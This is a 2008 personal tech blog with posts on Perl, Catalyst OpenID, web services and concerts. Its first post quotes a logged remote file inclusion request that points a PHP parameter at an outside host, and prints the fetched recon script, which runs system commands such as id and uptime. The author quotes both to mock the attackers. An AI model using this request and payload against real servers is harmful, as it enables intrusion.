Selling cookie info to third-parties is a classic example of you can make money without doing evil.
RSS

Script kiddie hacks

2008/12/24 filed under /php

Every now and then, I follow links of dumb script kiddie hacks. If you have a webserver, you probably recognize GET requests like:

index.php?option=com_mtree&task=listcats&cat_id=1792&Itemid=35&mosConfig_absolute_path=http://killearnlakeshoa.org/calendar/includes/.bash/id.txt?

First of all, I run close to no php scripts, so the chances of trying this on my server and actually exploiting some badly written php product are close to zero, but who cares. Let them try.

So, what is this id.txt actually doing? It's usually launching some php code and based on that, the kiddie knows whether to investigate the server further. Still, no problems with that: make my day.

I'm not a php coder, but even I know this is just plain horrible code:

<?
echo "ALBANIA<br />";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br />";
echo "uname -a: $alb<br />";
echo "uptime: $alb2<br />";
echo "id: $alb3<br />";
echo "pwd: $alb4<br />";
echo "user: $alb9<br />";
echo "phpv: $alb6<br />";
echo "SoftWare: $alb5<br />";
echo "ServerName: $alb7<br />";
echo "ServerAddr: $alb8<br />";
echo "UNITED ALBANIANS aka ALBOSS PARADISE<br />";
exit;
?>

Ok, United Albanians, learn to code, then come back and try to hack into my system. It'll take a year or 10 before that happens, so I'm not afraid ;-)

Posted by: B10m | permanent link | comments (2)

Not about Google Video Chat

2008/11/12 filed under /web

There we have it. Now you can use your webcam (and microphone, or so I believe) with your chat client. Wow, amazing. While MSN Messenger and Y! Messenger have supported this since the beginning of times, now Google joins. Good.

But it get's better! It works from within your gmail box. So it's video conferencing through a website! Again, nothing new. Seriously. A website like imo.im supported multi-IM with cam capabilities already.

Have you ever heard about imo.im? Ever read about it in the news? I most certainly have never seen news reports on that service. But once your name is Google, every fart is interesting and so you must read about this non-original feature in their beta application everywhere.

Do we really need to read about this everywhere? It seriously sickens me. Look at the list of sites all blogging/reporting about this insanely stupid new feature: Cnet, TechCrunch, LifeHacker, ars technica, Gizmodo...

and even reuters and nu.nl (a rather big Dutch news website)

Seriously, STOP THE HYPE.

Posted by: B10m | permanent link | comments (5)

Caching: good or evil?

2008/10/30 filed under /web

Caching is the art of storing a certain file for easy retrieval later, or at least, that's how I see it. The benefits for the user are clear: whatever you're caching makes the process of requesting it another time later a lot faster.

Search engines offer you cached versions of webpages as well, and according to CNET, Google offered this since 1997 (and the others probably introduced it around the same time).

To me, search engines take the wrong approach and courts all around the globe seem to find it a difficult question as well. When is someone infringing a copyright? After Google losing lawsuits in Belgium over indexing news articles and in Germany over image search "caching", today a US court ruled in favor of Yahoo! and Microsoft's caching.

Besides the fact that Gordon Ray Parker probably has nothing else to do than suing, and besides the fact that he probably fully knew how to opt-out, this lawsuit makes me very unhappy.

Why is it so bad when the big search engines are allowed to cache your content? It's quite easy, because they're making money with your content. The whole idea behind caching webpages to me sounds like an attempt to have the visitor stay at the search engine's page a little longer, and thus more chances that he's going to click on an ad (= cash).

The fact that they have an opt-out mechanism, based on a draft that expired in 1997, doesn't make it any more logical to me that it's allowed to "steal" data for profit.

Let's scale it down. Every webmaster/blogger has at some point noticed that his/her text was taken completely out of context and dumped on some other blog, surrounded by nothing but ad-sense ads. That's truly annoying. The operator of that site hopes to gain some traffic from SEO and hopes for people to click on some links (which they'll do, for the copied text makes no sense).

According to the ruling, that is all ok now, unless you specifically tell the crawlers that they can't do that. So now the burden is on the shoulders of all the webmasters in the world. Configure your robots.txt correctly. Not that it helps a lot, for the annoying blogs mentioned above probably ignore it to begin with, but ok. Why should everybody with a website explicitly tell all potential crawlers to keep their filthy claws of their property? Why can't there be a standard where you specifically set up a document that describes what crawlers are allowed to grab/cache and do whatever with as they see fit? Because it'll destroy Google, Yahoo! and Microsoft (and other search engines, of course). But who really cares?

Again, $(big companies that claim to be non-evil)++ vs $(rest of the world)--.

Sad, very sad. Maybe I should start scraping Google's results, but oh no, the don't allow you, nor does Yahoo!, nor does MSN

Posted by: B10m | permanent link | comments (0)

Survey went wrong

2008/10/23 filed under /personal

I don't often read the "dagblad van het noorden" website, but today I noticed a news article around the crazy PVV . They find it insane that the poorest people of the Netherlands can get money to buy a flatscreen tv or something (still have no clue what they're exactly against).

Anyways, when opening the webpage, I saw this (click to enlarge)

An overlay asks you to fill out a survey. If you participate, you could be the winner of the Philips LCD TV, yay. Ironically, this overlay covers the title of the article ("PVV wil verbod op flatscreen via bijstand").

Posted by: B10m | permanent link | comments (0)

Catalyst, OpenID and Yahoo!

2008/10/13 filed under /perl

Net::OpenID::Consumer has just been released to CPAN (it was on BRADFITZ's svn repository for a while), which enables you to handle OpenID 2.0 logins (and since Brad is listed as author of the 2.0 protocol , I trust it's a solid module :)

Since Net::OpenID::Consumer now handles OpenID 2.0, Catalyst::Authentication::Credential::OpenID does too (thanks to ASHLEY (and yes, "ashley is a boy's name")).

This is good news, 'cause Yahoo! only accepts OpenID 2.0. So from now on, all Yahoo! users can login to your application and that without a lot of code (thanks to the awesome Catalyst Framework).

After implementing it, I ran into the horrors of the Yahoo! implementation. They are very strict and when you screw up at a certain point, they'll greet your users with a lovely message:

Warning: This website has not confirmed its identity with Yahoo! and might be fraudulent. Do not share any personal information with this website unless you are certain it is legitimate.

I tried to lookup what caused this and came across a good and quite detailed solution The only bad thing about it: it didn't work for me.

After messing with it for way too long, I noticed that my return_to URI was redirecting Yahoo! (so what?), so they ignored the Yadis header and thus raising the error.

To fix this in Catalyst, you must make sure you have the following things done:

  1. Create a yadis.xrdf (see the template)
  2. Have Catalyst return the right Content-Type header for the file (if you're using Catalyst::Plugin::Static, check the POD!)
  3. Inserted a X-XRDS-Location header for at least the return_to URL
  4. Have Catalyst return a 200-response code on the return_to URL

I was using code like this:

    my ( $self, $c ) = @_;

    if ( !$c->authenticate({}, "openid") ) {
        $c->flash(error => "OpenID login failed");
    }

    $c->res->redirect( $c->uri_for('/') );
    $c->detach();

FAIL! Don't redirect (or redirect with a meta-refresh, or javascript).

Since this took me hours to figure out, I hope this blog post makes your life a little easier.

Posted by: B10m | permanent link | comments (0)

No _parse_* routine defined on this driver

2008/10/09 filed under /perl

After I released Catalyst::Authentication::Credential::Flickr version 0.02, FAIL messages poured in from CPAN testers (well, to be more precise, from one tester with multiple test machines).

The error the tests failed on was:

No _parse_* routine defined on this driver (If it is a filter, remember to 
set the Parent property. If you call the parse() method, make sure to set a 
Source. You may want to call parse_uri, parse_string or parse_file instead.) 
[XML::LibXML::SAX::ChunkParser=HASH(0x83dab48)]

I was not able to reproduce the error and thus mailed the CPAN tester (ANDK). Not much later, Andreas informed me about the installed versions of several dependencies but even with those exact same versions, reproducing the error was impossible.

On closer look, it turned out the order of installing XML::SAX parsers really mattered, for that makes up the order of them in XML/SAX/ParserDetails.ini

As it turned out, ANDK had XML::LibXML::SAX::ChunkParser installed last and thus that module became the default parser module for XML::SAX. The author of that module is aware of this bug, and patched it in a newer release, but that didn't help me much.

I've spend way to much time debugging this, so I figured it'd be nice to at least write down the solution to this: erase the XML::LibXML::SAX::ChunkParser part out of ParserDetails.ini.

Since XML::Simple already has some checks for faulty modules, I've asked the author to add this module as well, so we can safely require a new version of XML::Simple in our Makefiles and bypass this bug.

Posted by: B10m | permanent link | comments (0)

Bol.com commercial

2008/10/08 filed under /web

Almost every day I see this commercial on tv and still laugh my ass off.

It's in Dutch (sorry, English speaking visitors), but it boils down to, "with over 7000 games, there's always a game that does suit you, like singstar".

The expression on the little girl's face is priceless.

Posted by: B10m | permanent link | comments (1)

Google translates Indonesian

2008/09/30 filed under /web

With quite some excitement, I read that Google was adding 11 more languages to their translate product. Not so much that I care about Catalan, Latvian, or Ukrainian, but Indonesian was listed as well!

Since I'm still "studying" the language, this might be helpful! But my hopes were smashed within a second. The translator is beyond poor and completely unworkable at this moment. The translations in either English or Dutch (two languages I know to some extent), were completely not usable.

The Indonesian language is quite different from Dutch and English (which are quite similar). The language has very few grammatical rules and a plural form is usually created by using the same word twice "Toko" means shop. "Toko toko" means shops, but Indonesian blogs mainly use "toko2" for that.

Another thing is that past or present forms are usually non-existent. The tense is made up out of the context (so "I went to the shop" and "I'm going to the shop" are both "saya ke toko").

Fairly hard to translate, I agree, but sederet.com has a nice approach. Simply take each word and translate that. That will give you a basic idea of what's going on.

Google also offers you to improve the results, but since my dislike towards this company is too big, I doubt I want to help them. Let's see if others do. Then translate would be the second google product without an equal alternative (maps is currently beating all the others, in my humble opinion).

Posted by: B10m | permanent link | comments (0)

Clueless Ziggo Helpdesk

2008/08/20 filed under /personal

ziggo logo Last night my dad called me to inform me my server was not functioning correctly. Funny, 'cause I was working on it as he called, so I asked him to explain his problems in a little more detail. The problem, or so it turned out, was that he couldn't send any emails and the Ziggo helpdesk told him it was my server.

Quite strange, for he does indeed uses my IMAP/POP3 server, but SMTP is handled by his ISP, Ziggo. And since he can't send any mail the problem is most likely to be at their end. So after explaining the difference between incoming and outgoing mail, I told my father to call the helpdesk again and demand some help, not some ignorant answer.

After a while, he called me again. The helpdesk this time deemed it necessary to reset his password. My dad had to wait for half an hour and login to the webmail of ziggo to see if he could send mail from there. Again a rather odd reply in my humble opinion, but hey, it might be a known workaround of ziggo. In the meanwhile I asked my dad what error message he did get and the answer to that question made a lot of things clear. The error was (translated, the original error was in Dutch):

550 - this is unwanted email and will not be delivered.

Nice, right? I had no clue how a password reset was going to help, but I wished my dad good luck with the spamfilter that was obviously too strict.

A little later the phone rang again and my dad was getting more and more annoyed. He waited for 30 minutes, logged into the webmail, did send a test message and all that went fine. However, his mail still couldn't be sent from Outlook and now he had a new phone number that he was going to call tomorrow. The phone number of the Microsoft helpdesk.

I literally was in shock when I heard they send him to Microsoft. Did Outlook create the 550-SMTP reply? Nope. Why on earth didn't these moronic hell-desk employees simply tell him to reformat the mail and try again? So I had to call them myself and asked them for a motivation for sending my dad of to Microsoft. The explanation was rather simple according to the friendly but completely clueless guy. "Webmail works fine, but Outlook gives an error, so it must be an Outlook problem and thus Microsoft.". I asked him what part of the error message he didn't understand, if he looked the '550'-code up, why he didn't simply send my father to the 2nd line support if he couldn't solve the problems and what the email address was to complain to.

He kept mumbling and even wouldn't agree on the spam filter being too strict. Apparently, false positives are completely acceptable to him. I asked him why three helpdesk employees who get training (I hope) and money for helping people weren't able to help my dad, while I could help him over the phone in less than two minutes. That he didn't know either.

So I drafted a fine mail to the complaints department of ziggo to complain about the competency of the helpdesk. Not even do they not help, the even don't call in the 2nd/3rd line support and I'm fairly sure that would be procedure. Fire the guys, give them a decent training, do something about it, SickoZiggo!


Update I: I don't seem to be the only one who didn't like ziggo's customer service ;-)


Update II: I just read that Ziggo lost 265.000.000 euro last year. Well, try to improve your customer service instead of scaring people away!

Posted by: B10m | permanent link | comments (5)

W:O:A 2008

2008/08/05 filed under /metal

Wacken Open Air has just ended for this year's edition and of course I was there (again).

This year, W:O:A offered us Iron Maiden, At the Gates and Watain (my personal favorites) and I was impressed by all three of them again. Of the first two, I managed to make (horrible quality) videos that I'd like to share.

At the Gates - Slaughter of the Soul

Iron Maiden - Wasted Years

Let's buy tickets for W:O:A 2009 now!

Posted by: B10m | permanent link | comments (2)

Airport Security

2008/07/20 filed under /personal

Everything that the US of A comes up with, is introduced in the Netherlands very soon after. There's a complete smoking ban in Schiphol, the Dutch airport, and security measures are annoyingly similar to the US.

My recent vacation to the far east made me long for the simpler times, when we, in the Netherlands, weren't so paranoid and weren't constantly wagging our tails when daddy Bush and his friends come up with annoying new rules.

By the time the rude Dutch security officials allow me to pass the check point, I've crawled through the scanner at least three times. Holding my pants up, because my belt could be a potential terrorist weapon, barefoot and fairly annoyed, they inform me that my half empty deodorant bottle is not allowed for it contains slightly more fluid (when full) than is allowed and think of all the horrible things I might do with deodorant!

Back in the day, smoking was not allowed in the common waiting areas, but the small pubs still had smoking sections, to make the mandatory 3 hour wait a little less painful, but hey, smoking probably supports terrorism as well, so let's make the entire building smoke free. Poor transit people that are stuck on the horrific airport that used to be so nice...

In Asia, I had to pass the airport security of both Jakarta and Kuala Lumpur and I must say I truly adore those airports. Granted, Schiphol looks better (although Kuala Lumpur is state of the art as well), but the people are friendly, smoking areas are provided for the poor addicts that are stuck and if a plane is a little delayed, meals are promptly provided for the waiting souls.

Sure, there are scanners that you'll have to pass, but heck, I carry too much that'll trigger the darn thing, so I simply pass it and have the friendly official use his hand scanner to find out I'm wearing a belt, carry a lighter, keys, watch, ring, glasses etc.

God bless the far east!

Posted by: B10m | permanent link | comments (0)

Ministry Gig

2008/06/25 filed under /metal

Last Sunday I went to 013, Tilburg to see Ministry in concert. Joffie was kind enough to accompany me and like predicted. It was awesome!

I tried to smuggle my Canon IXUS in there, but since they have fairly strict rules banning cameras (and they search anyone going in), I left it in the car and had to use my Nokia N95 instead.

The pictures are up at Flickr and I even had a chance to take two clips (crappy quality):

Posted by: B10m | permanent link | comments (1)

Bad taste

2008/06/14 filed under /personal

I like Y! movies' recommendation system, for it usually turns out quite ok. If they say I like a certain movie, a lot of times, it's true. But ermm, either their system is way off here, or I have a seriously bad taste.

52 people have rated this movie with an average of "dreadful", yet Yahoo happily informs me that I'll probably like this movie. Yay!

Posted by: B10m | permanent link | comments (0)

WWW::Mechanize::Plugin::Web::Scraper

2008/06/11 filed under /perl

Joffie asked me if Web::Scraper could handle authentication while retrieving the website in question. A good question and after digging in Tatsuhiko's code, I noticed that you can simply dump HTML in the scrape function, instead of just the documented URI object.

I remembered Tatsuhiko mentioning integration with WWW::Mechanize somewhere but I couldn't find anything yet. So I decided to write the little Mechanize plugin. Shockingly, and completely surprising, it now carries the name WWW::Mechanize::Plugin::Web::Scraper.

Scrape the planet!

Posted by: B10m | permanent link | comments (1)

Tank Man

2008/06/05 filed under /personal

Today, 19 years ago, one of my favorite pictures of all time was taken

tank man

Posted by: B10m | permanent link | comments (0)

Hotmail doesn't like b10m.net

2008/05/15 filed under /web

Last Friday, I received a call by a friend who invited me to an Endstille gig. He asked me why I didn't reply to his mail. Odd, I thought, for I did reply within 10 minutes after receiving. A day or so later, still no email, so I decided to do a little testing.

I opened up a hotmail test account and just tried to mail it. The hotmail mail server positively told my server that the message was accepted, but the mail was no where to be found. Not in the Inbox, Junk folder or any other place. It simply disappeared.

After a few struggles, I found a way to contact the postmaster(s) and quickly after mailing them my complaints, I received a canned answer back. The sophisticated SmartScreen filtering technology made my messages disappear in thin air. Smart indeed and thanks for not informing the sender of this block.

The fun part of the mail, I'll quote:

I am not able to go into any specific details about what these filters specifically entail, as this would render them useless.

Right! So they're so sophisticated that there's probably an easy way to get around them. Security through obscurity...

The friendly canned mail also suggested I'd use SPF, a technique to specify in DNS records who is allowed to send out emails on behalf of the domain. Great ... but I've been using that for a long time, so it wouldn't help.

Maybe I'm on some RBL? Nope, can't find it. A quick search however turned out that I'm not alone here. And based on the time stamp of that document, this problem exists for over a year already.

So, as of yet, I can't send out mail (or reply) to my friends with a hotmail account. Tough luck. If you want to reach me, use a different Reply-To header.

Posted by: B10m | permanent link | comments (1)

Planet.nl's odd summary

2008/05/09 filed under /news

I'm a big fan of Bloglines to keep track of the news and over there, I follow the RSS feed of planet.nl (a Dutch ISP that provides news as well). Today I noticed a headline with a truly bizarre summary of the news article:

The text translates to:

Prostitutes no longer welcome in the player's hotel in Austria

The wives of the soccer players won't come closer than the hotel lobby.

Excuse me? The soccer player's wives are now called prostitutes?

The full article puts the line in perspective:

Translation:

The rules are clear. The players are allowed to meet their wives or girlfriends only every now and then in the lobby. Prostitutes, matter observers and consultants aren't allowed in the hotel at all during the tournament.

Bad bad summary, Planet.nl!

Posted by: B10m | permanent link | comments (0)

Perl code highlighters

2008/04/28 filed under /perl

Perl can be a real mess, yes. Everyone knows it, a few try to disagree, but in the end, you can make Perl code look very cryptic. So maybe this post isn't really fair. Never the less, I'd like to point out an annoyance I have noticed for some time now.

All over the web, websites exist that allows you to dump some code. The website will highlight it accordingly to the chosen language. While this usually works fine, it fails a lot of times on the Perl variable $#. This special variable specifies the last index of a list. As you might guess, most highlighters see the hash and think: comment!

Let's use this code:

#!/usr/bin/perl

my @test = qw(Just another Perl Hacker);
print "Last index of the test list is:", $#test, "\n";
print "Oh, of course ... ", join " ", @test, "\n";

This is fairly easy code to follow, even for a non-Perl programmer, I believe, so it's up to you to figure out what it does ;-)

Now, let's see how a 10 random sites handle this:

Wrong (see the hash as a commenting prefix):

Correct:

Sad but true ...

Posted by: B10m | permanent link | comments (0)

Debitel Telemarketing

2008/04/10 filed under /personal

Recently, my contract with Debitel (a Dutch phone company) ended. Since another company could make me a nice deal (with my Nokia N95 8GB), I decided to switch over to them and to cancel my account with Debitel.

Today I received a call by one of the Debitel telemarketing guys. The slick guy told me my contract was about to end (yeah, duh, I already canceled it) and that he could offer me a really nice deal.

As usual, I let him finish his whole story (which, like usual, was way too long). And to make it more fun, I just didn't reply, making him feel awkward and chatting longer. After his whole speech, he asked me if I was interested. I told him politely that I already canceled the account and moved on to another provider.

"Ok", he said, "than we just have to check the information real quick. Your name is [full name]?". In my privacy paranoia, I asked him "Why do you need my information. I already canceled the account and thus I have nothing to do with you anymore. "Oh?", he replied, "I thought you wanted to accept the new offer". So I believe my privacy paranoia saved me here. If I'd confirm the records they already had on file, he'd probably trick me into accepting the new offer.

... bastards.

Posted by: B10m | permanent link | comments (0)

Google and Jakarta

2008/03/24 filed under /random_thoughts

Jakarta, the capital city of Indonesia has seen some name changes over the years. I trust Wikipedia on the dates here, but in history, the names have been Sunda Kalapa (397-1527), Jayakarta (1527-1619), Batavia (1619-1942), Djakarta (1942-1972), and now Jakarta.

Dropping the 'd' in front of the name has to do with the new spelling of the Indonesian language (Bahasa Indonesia). Again, I trust Wikipedia on the dates and history, but since 1972, the "new spelling" mandated that the 'd' was dropped.

So far so good, but recently I noticed that Google has trouble keeping up with this new spelling. On maps.google.com, they tell me the city is called "Djakarta", as you can see here:

Oddly enough, they do write Jayapura correctly. Also Bandung, instead of Bandoeng (which changed in 1947) is written correctly. Other mapping websites all seem to handle the 36 year old name change correctly.

Expedia.com:

Maps.live.com:

Mapquest.com:

NationalGeographic.com:

UN.org:

Maps.yahoo.com:

Since I find this a strange error, I decided to write an email to Google asking them for the reason for this and whether there are plans to update this. I'll keep you posted on the results of that mail (if ever get a reply).

Posted by: B10m | permanent link | comments (2)

QRCode Bookmarklet

2008/03/15 filed under /software

Since I now own a fancy Nokia N95 (8GB), I also have the barcode/qrcode reader which is quite handy. When you see an image like the one below, the scanner will extract the URL and allows you to open it (beats a lot of typing).

A QRCode image looks like this:

This little bookmarklet can help you surfing the web. Drag it to your bookmark toolbar and hit it whenever you want to view that page on your phone too. It'll create a QRCode image with the URL of the page you're viewing.

Posted by: B10m | permanent link | comments (0)

CGI's UPLOAD_HOOK

2008/02/02 filed under /perl

Many a time, I see people asking and messing with CGI uploads and progress bars.

First of all, I believe an upload progress bar is the responsibility of the browser (client) and not of the server. The client knows the file size it is uploading and how many bytes it sent over the wire. Regardless, progress bars are fairly nice, especially with large(r) files. So let's see how we can implement one.

Perl is very well suited to show you the upload progress (I believe it's more tricky with PHP), due to the UPLOAD_HOOK facility of CGI

The documentation isn't too extensive, so let's just look at an example. First of all, you'd need to understand what needs to be done. After someone hits the upload button, we need to query the server over and over, to get the upload status. Javascript kicks in here.

To display the bar, I simply use an existing script, for a) it looks better than anything I'd ever create and b) it works :)

Bram.us 's jsProgressBarHandler is the one I chose for this example.

Ok, so now first take a look at the hook subroutine. First you'd have to create an instance of the CGI object like this:

my $q = CGI->new(\&hook);

The hook subroutine isn't too fancy either. I use File::Slurp to write the percentage to a file that we can query later.

sub hook {
   my ($filename, $buffer, $bytes_read, $data) = @_;
   my $perc = sprint("%i", (($bytes_read / $ENV{CONTENT_LENGTH}) * 100));
   write_file("/tmp/$ENV{REMOTE_ADDR}", {overwrite => 1}, "$perc");
}

That's all it takes.

Now, on the frontend, we simple query this file over and over, like this:

   function doUpload() {
      $('progress').show();
      var intervalID = window.setInterval('doProgress()', 1000);
   }

   function doProgress() {
      var d = new Date;
      new Ajax.Request('progress.cgi?time='+d.getMinutes()+
                       '_'+d.getSeconds(), {
         method:'get',
         onSuccess: function(transport){
            myJsProgressBarHandler.setPercentage('progress', 
                                                 transport.responseText);
         }
      });
   }

The function doUpload shows the progress bar and calls doProgress every second. Since Internet Explorer seems to think that caching the Ajax.Request is a smart thing to do, I simply post the minutes and seconds to the script aswell.

And progress.cgi isn't so fancy either:

#!/usr/bin/perl

use strict;
use File::Slurp;

print "Content-type: text/plain\n\n";
my $perc = read_file("/tmp/$ENV{REMOTE_ADDR}");
print $perc;

This works rather well on my machine(s) and it's really simple, as you can see. The only downside is that when two people sharing the same IP address start uploading at the same time, they'll probably get the wrong information. But hey, who cares? ;-)

Posted by: B10m | permanent link | comments (4)

VoipBuster Addressbook

2008/01/30 filed under /software

VoipBuster is a website I quite like. They offer cheap (inter)national phone calls from phone to phone. To make the phone calls, you can download some Windows software, or use the web-interface. Since I don't use MS Windows (and think running VMWare/Wine for such a simple application is overkill), I end up using the web-interface.

The only problem is that I cannot seem to remember people's phone numbers (including my own), so I wrote a little Greasemonkey script called: VoipBuster Addressbook

It's really quite simple. All you have to do, is use VoipBuster like you're used to. But, when you add a phone number (either your own, or a destination address), the script will prompt for a name and adds that to a drop down list. The next time you want to make a call, simply select the name from the drop down and the number is entered for you.

Posted by: B10m | permanent link | comments (0)

Fokke en Sukke RSS Pipe

2008/01/06 filed under /personal

A little less than a year ago, I created a simple scraper for the Fokke en Sukke cartoon website. It would spit out a RSS feed that I could include in my bloglines. Yay, so far so good.

Slowly but steadily I noticed more users until a certain MS Vista widget start querying it every 20 minutes (for no reason, for there aren't that many updates). At first I had no clue what was going on. Huge amounts of IP addresses started querying the feed, all with a cryptic "x-gadget:///gadget.htm" HTTP_REFERER.

After some searching, I found the author of the widget and asked him to please lower the rate of querying, for my poor old home server was not used to the stress put on him. Luckily he promised to patch it soon.

Then I figured: why not have Yahoo! host it? So I've hooked up a terrible simple pipe that seems to handle the load well.

Stats:
Published on 01/02/08
113572 runs

Taken that it's only 01/06/08 now, I may assume that it gets requested around 28393 times a day. Thanks for taking away the pain, Yahoo! :-)

Posted by: B10m | permanent link | comments (0)
return-member